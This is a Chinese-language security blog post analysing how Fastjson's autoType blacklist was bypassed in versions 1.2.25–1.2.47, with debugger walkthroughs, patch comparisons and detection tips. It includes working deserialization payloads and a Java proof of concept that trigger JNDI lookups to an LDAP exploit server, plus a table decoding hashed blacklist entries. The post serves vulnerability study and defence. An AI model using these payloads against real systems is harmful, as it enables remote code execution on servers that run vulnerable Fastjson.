Fastjson反序列化漏洞(3)—历史版本绕过

Fastjson反序列化漏洞(3)—历史版本绕过

在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

网上一些文章讲的都是针对1.2.41、1.2.42、1.2.43、1.2.45这些特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从1.2.25开始的一系列版本,自己试下就知道PoC可以打哪些范围了。

注意:本篇文章讲的历史补丁版本绕过的利用,都必须开启AutoTypeSupport才能成功

哈希黑名单

通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

目前已知的哈希黑名单的对应表如下:

versionhashhex-hashname
1.2.42-87200464268501004970x86fc2bf9beaf7aefLorg.apache.commons.collections4.comparators
1.2.42-81093007016397210880x8f75f9fa0df03f80Lorg.python.core
1.2.42-79661231005031995690x9172a53f157930afLorg.apache.tomcat
1.2.42-77666058188347480970x9437792831df7d3fLorg.apache.xalan
1.2.42-68354370861568135360xa123a62f93178b20Ljavax.xml
1.2.42-48375369718107379700xbcdd9dc12766f0ceLorg.springframework.
1.2.42-40820570402351257540xc7599ebfe3e72406Lorg.apache.commons.beanutils
1.2.42-23649879942476791150xdf2ddff310cdb375Lorg.apache.commons.collections.Transformer
1.2.42-18724170153665881170xe603d6a51fad692bLorg.codehaus.groovy.runtime
1.2.42-2546701113762471510xfc773ae20c827691Ljava.lang.Thread
1.2.42-1902810656853956800xfd5bfc610056d720Ljavax.net.
1.2.423138641002078975070x45b11bc78a3aba3Lcom.mchange
1.2.4212032327279673086060x10b2bdca849d9b3eLorg.apache.wicket.util
1.2.4215028459588739591520x14db2e6fead04af0Ljava.util.jar.
1.2.4235476277816545989880x313bb4abd8d4554cLorg.mozilla.javascript
1.2.4237307524322858268630x33c64b921f523f2fLjava.rmi
1.2.4237943166657632660330x34a81ee78429fdf1Ljava.util.prefs.
1.2.4241476967071472714080x398f942e01920cf0Lcom.sun.
1.2.4253479098776336548280x4a3797b30328202cLjava.util.logging.
1.2.4254504488283349214850x4ba3e254e758d70dLorg.apache.bcel
1.2.4257513934395027952950x4fd10ddc6d13821fLjava.net.Socket
1.2.4259441079692361555800x527db6b46ce3bcbcLorg.apache.commons.fileupload
1.2.4267427054327180117800x5d92e6ddde40ed84Lorg.jboss
1.2.4271793369283658894650x63a220e60a17c7b9Lorg.hibernate
1.2.4274426242568605493300x6749835432e0f0d2Lorg.apache.commons.collections.functors
1.2.4288382947100984353150x7aa7ee3627a19cf3Lorg.apache.myfaces.context.servlet
1.2.43-22622447606199520810xe09ae4604842582fLjava.net.URL
1.2.46-81656373983507076450x8eadd40cb2a94443Ljunit.
1.2.46-80835148884603758840x8fd1960988bce8b4Lorg.apache.ibatis.datasource
1.2.46-79212188309982864080x92122d710e364fb8Lorg.osjava.sj.
1.2.46-77686080374581852750x94305c26580f73c5Lorg.apache.log4j.
1.2.46-61795896095504933850xaa3daffdb10c4937Lorg.logicalcobwebs.
1.2.46-51946410812681042860xb7e8ed757f5d13a2Lorg.apache.logging.
1.2.46-39351858548757333620xc963695082fd728eLorg.apache.commons.dbcp
1.2.46-27534278444007762710xd9c9dbf6bbd27bb1Lcom.ibatis.sqlmap.engine.datasource
1.2.46-15891948802142351290xe9f20bad25f60807Lorg.jdom.
1.2.4610736347393082897760xee6511b66fd5ef0Lorg.slf4j.
1.2.4656882008837517983890x4ef08c90ff16c675Ljavassist.
1.2.4670174921631085942700x616323f12c2ce25eLoracle.net
1.2.4683890325370952473550x746bd4a53ec195fbLorg.jaxen.
1.2.4814598608459348176240x144277b467723158Ljava.net.InetAddress
1.2.4884096407690195891190x74b50bb9260e31ffLjava.lang.Class
1.2.4949040078171886304570x440e89208f445fb9Lcom.alibaba.fastjson.annotation
1.2.5951003360815100803430x46c808a4b5841f57Lorg.apache.cxf.jaxrs.provider.
1.2.5964568557234741969080x599b5c1213a099acLch.qos.logback.
1.2.5985372332572834526550x767a586a5107feefLnet.sf.ehcache.transaction.manager.
1.2.6036881790727221092000x332f0b5369a18310Lcom.zaxxer.hikari.
1.2.61-44013908040443773350xc2eb1e621f439309Lflex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61-16504858149830271580xe9184be55b1d962aLorg.apache.openjpa.ee.
1.2.61-12514191541766208310xeea210e8da2ec6e1Loracle.jdbc.rowset.OracleJDBCRowSet
1.2.61-98224830678824910xffdd1a80f1ed3405Lcom.mysql.cj.jdbc.admin.
1.2.61991470921420562800x1603dc147a3e358Loracle.jdbc.connector.OracleManagedConnectionFactory
1.2.6131148628681176055990x2b3a37467a344cdfLorg.apache.ibatis.parsing.
1.2.6148146584335701759130x42d11a560fc9fba9Lorg.apache.axis2.jaxws.spi.handler.
1.2.6165110355760632542700x5a5bd85c072e5efeLjodd.db.connection.
1.2.6189255224615796471740x7bddd363ad3998c6Lorg.apache.commons.configuration.JNDIConfiguration
1.2.62-91646063882146995180x80d0c70bcc2fea02Lorg.apache.ibatis.executor.
1.2.62-86499612137098967940x87f52a1b07ea33a6Lnet.sf.cglib.
1.2.62-57648047920632168190xafff4c95b99a334dLcom.mysql.cj.jdbc.MysqlDataSource
1.2.62-44387756801850741000xc2664d0958ecfe4cLaj.org.objectweb.asm.
1.2.62-33192079494866910200xd1efcdf4b3316d34Loracle.jdbc.
1.2.62-21928043970193473130xe1919804d5bf468fLorg.apache.commons.collections.comparators.
1.2.62-20955165713888526100xe2eb3ac7e56c467eLnet.sf.ehcache.hibernate.
1.2.6247503360585743090x10e067cd55c5e5Lcom.mysql.cj.log.
1.2.622185129929475363120x3085068cb7201b8Lorg.h2.jdbcx.
1.2.628236410664736099500xb6e292fa5955adeLorg.apache.commons.logging.
1.2.6215344396105674457540x154b6cb22d294cfaLorg.apache.ibatis.reflection.
1.2.6218180893084933703940x193b2697eaaed41aLorg.h2.server.
1.2.6221646967230692878540x1e0a8c3358ff3daeLorg.apache.ibatis.datasource.
1.2.6226534536299297705690x24d2f6048fef4e49Lorg.objectweb.asm.
1.2.6228364312547378911130x275d0732b877af29Lflex.messaging.util.concurrent.
1.2.6230894514601015278570x2adfefbbfe29d931Lorg.apache.ibatis.javassist.
1.2.6237183526611241366810x339a3e0b6beebee9Lorg.apache.ibatis.ognl.
1.2.6240461903615206716430x3826f4b2380c8b9bLcom.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.6262803579609592176600x5728504a6d454ffcLorg.apache.ibatis.scripting.
1.2.6267342403264340962460x5d74d3e5b9370476Lcom.mysql.cj.jdbc.MysqlXADataSource
1.2.6271233268972945070600x62db241274397c34Lorg.apache.commons.collections.functors.
1.2.6284882660053366251070x75cc60f5871d0fd3Lorg.apache.commons.configuration

目前未知的哈希黑名单:

versionhashhex-hashname
1.2.42332383442077453420x761619136cc13eL
1.2.62-63161546558393046240xa85882ce1044c450L
1.2.62-54720977254147171050xb40f341c746ec94fL
1.2.62-46083414469481265810xc00be1debaf2808bL
1.2.6232562583682480662640x2d308dbbc851b0d8L
1.2.6248419477098509129140x43320dc9d2ae0892L
1.2.6265349464682405070890x5ab0cb3071ab40d1L

1.2.25-1.2.41补丁绕过

绕过利用

本地fastjson用的是1.2.41版本。

直接运行的话会报错,原因就是checkAutoType()函数中的黑名单过滤了”com.sun.”:

image-20220606164234330

下面我们直接给出payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;

注意是要开启AutoTypeSupport的,添加以下代码就ok了:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

直接运行即可绕过checkAutoType()黑名单实现弹计算器:

image-20220606165100298

调试分析

我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤。

下面我们调试分析看看为啥会绕过。

我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验,再往下开始调用TypeUtils.loadClass()

image-20220606165704599

跟进TypeUtils.loadClass()函数,这里我们在之前的文章中已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过:

image-20220606165825760

1.2.25-1.2.42补丁绕过

绕过利用

先直接给出payload:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;

在1.2.22-1.2.42版本运行都能成功触发:

image-20220606170157460

调试分析

自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单:

denyHashCodes = new long[]{-8720046426850100497L,-8109300701639721088L,-7966123100503199569L,-7766605818834748097L,-6835437086156813536L,-4837536971810737970L,-4082057040235125754L,-2364987994247679115L,-1872417015366588117L,-254670111376247151L,-190281065685395680L,33238344207745342L,313864100207897507L,1203232727967308606L,1502845958873959152L,3547627781654598988L,3730752432285826863L,3794316665763266033L,4147696707147271408L,5347909877633654828L,5450448828334921485L,5751393439502795295L,5944107969236155580L,6742705432718011780L,7179336928365889465L,7442624256860549330L,8838294710098435315L};

checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作:

image-20220606170808034

但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。

后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;进行denyList黑名单过滤,也就顺利绕过了。

注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;

image-20220606171020588

为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名:

image-20220606171207404

这里面跟进去经过2步就回到这个方法循环调用了。

1.2.25-1.2.43补丁绕过

绕过利用

直接给出payload:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC:[com.sun.rowset.JdbcRowSetImpl

但是如果我们一开始payload直接这样写是会报错的:

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload,在第一个逗号前面加个”[“:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置:

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

因此就修改得到最终版payload,能够成功触发:

image-20220606172421765

调试分析

调试发现,在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错:

image-20220606172815223

但是以”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。

继续往下调试,在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

image-20220606172946518

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化了:

image-20220606173341800

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里:

image-20220606173621641

把这些条件一一满足后,就能成功利用了。

1.2.25-1.2.45补丁绕过

绕过利用

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

直接给出payload,要连LDAP或RMI都可以:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到:

versionhashhex-hashname
1.2.46-80835148884603758840x8fd1960988bce8b4Lorg.apache.ibatis.datasource

运行即可成功触发:

image-20220606174327404

调试分析

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常:

image-20220606180015509

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的:

image-20220606180354868

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

1.2.25-1.2.47补丁绕过

绕过利用

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

绕过的大体思路是通过 java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

Demo如下,无需开启AutoTypeSupport,本地Fastjson用的是1.2.47版本:

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        String payload  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
                + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
                + "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload);
    }
}

此外,还需要开启RMI服务或LDAP服务以及放置恶意类的Web服务。

运行能成功弹计算器:

image-20220607094138389

这里,我们看看PoC是怎么写的:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

可以看到实际上还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。

但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

调试分析

下面我们来调试分析下该PoC为啥会成功。

不受AutoTypeSupport影响的版本

不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。

未开启AutoTypeSupport时

在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。

在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回:

image-20220607095517525

往下调试,调用到MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量:

image-20220607100023807
image-20220607100154705

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类:

image-20220607100241483

TypeUtils.loadClass()函数中,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会将其缓存在Map中:

image-20220607100436691

在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测:

image-20220607101156955
开启AutoTypeSupport时

由前面知道,开启AutoTypeSupport后,在checkAutoType()函数中会进入黑白名单校验的代码逻辑。

在第一部分JSON数据的扫描解析中,由于@type指向java.lang.Class,因此即使是开启AutoTypeSupport先后进行白名单、黑名单校验的情况下都能成功通过检测,之后和前面的一样调用findClass()函数获取到Class类:

image-20220607102442213

关键在于第二部分JSON数据的扫描解析。第二部分的@type指向的是利用类”com.sun.rowset.JdbcRowSetImpl”,其中的”com.sun.”是在denyList黑名单中的,但是为何在检测时能成功绕过呢?

我们调试发现,逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的:

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。

受AutoTypeSupport影响的版本

受AutoTypeSupport影响的版本为1.2.25-1.2.32,本次调试的是1.2.25版本。

开启AutoTypeSupport时

我们在开启AutoTypeSupport之后,会利用失败,报如下错:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试发现,在第一部分JSON数据的解析中,checkAutoType()函数的处理过程和前面是差不多的。能够成功通过该函数的检测,因此问题不在这,继续往下调试。

在第二部分JSON数据的解析中,@type指向的”com.sun.rowset.JdbcRowSetImpl”在checkAutoType()函数中会被dentList黑名单中的”com.sun.”匹配到,因此会直接报错显示不支持:

image-20220607103139714

可以明显看到,第一个if语句是白名单过滤,第二个if语句是黑名单过滤,其中黑名单过滤的if语句中的判断条件和前面的不受影响的版本的不一样,对比下是少了个判断条件,即TypeUtils.getClassFromMapping(typeName) == null

未开启AutoTypeSupport时

当不开启AutoTypeSupport时就不会进入该黑白名单校验的代码逻辑中,就不会被过滤报错。

这里,我们换个不受AutoTypeSupport影响的且未使用哈希黑名单的版本来方便我们进行对比查看,这里选了1.2.33,看下checkAutoType()中对应的代码:

image-20220607103647516

对比黑名单校验的if判断语句条件就知道了,为什么后面的版本不受影响,那是因为通过&&多添加了一个判断条件TypeUtils.getClassFromMapping(typeName) == null,但是第二部分JSON内容中的类已经通过第一部分解析的时候加载到Map中缓存了,因此该条件不成立从而成功绕过:

// 受AutoTypeSupport影响的版本
if (className.startsWith(deny)) {

// 不受AutoTypeSupport影响的版本
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {

补丁分析

由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE,因此危害十分巨大,看看是怎样修的。1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

运行会报错:

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。

1.2.48版本:

image-20220607104505745

1.2.47版本:

image-20220607104204443

导致目标类并不能缓存到Map中了:

image-20220607105540633

因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉:

image-20220607105803421

高版本JDK绕过

由之前利用的PoC知道,利用范围最广的PoC是基于com.sun.rowset.JdbcRowSetImpl的利用链的,而这种利用方式是基于JNDI注入漏洞的,是需要我们有RMI服务或LDAP服务。

这样就会导致一个限制的问题,即JNDI注入漏洞利用的限制问题——JDK版本。

由之前的分析知道,JDK对于JNDI注入漏洞在不同版本有着不同的防御措施:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

因此,相比之下,我们在Fastjson反序列化漏洞的基于com.sun.rowset.JdbcRowSetImpl的利用链上,更倾向于使用LDAP服务来实现攻击利用,因为其对于JDK的适用范围更广。

但是如果目标环境的JDK版本在6u211、7u201、8u191之后,我们是不是就没有办法绕过了呢?

主要是有两种方式:

  • 利用本地Class作为Reference Factory
  • 利用LDAP返回序列化数据,触发本地Gadget

具体可参考另一篇文章:高低JDK版本中JNDI注入

检测方法

全局搜索是否使用到了Fastjson,若使用了则进一步排查是否为漏洞版本号即1.2.22-1.2.47,若是则可能存在反序列化漏洞的风险,需进一步排查。

全局搜索如下关键代码,若存在则进一步排查参数是否外部可控:

import com.alibaba.fastjson.JSON;
JSON.parse(
JSON.parseObject(

参考资料

Fastjson系列三——历史版本补丁绕过(需开启AutoType)

Fastjson系列四——1.2.25-1.2.47反序列化漏洞(无需开启AutoType)

Fastjson系列五——高版本JDK绕过及检测与防御

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇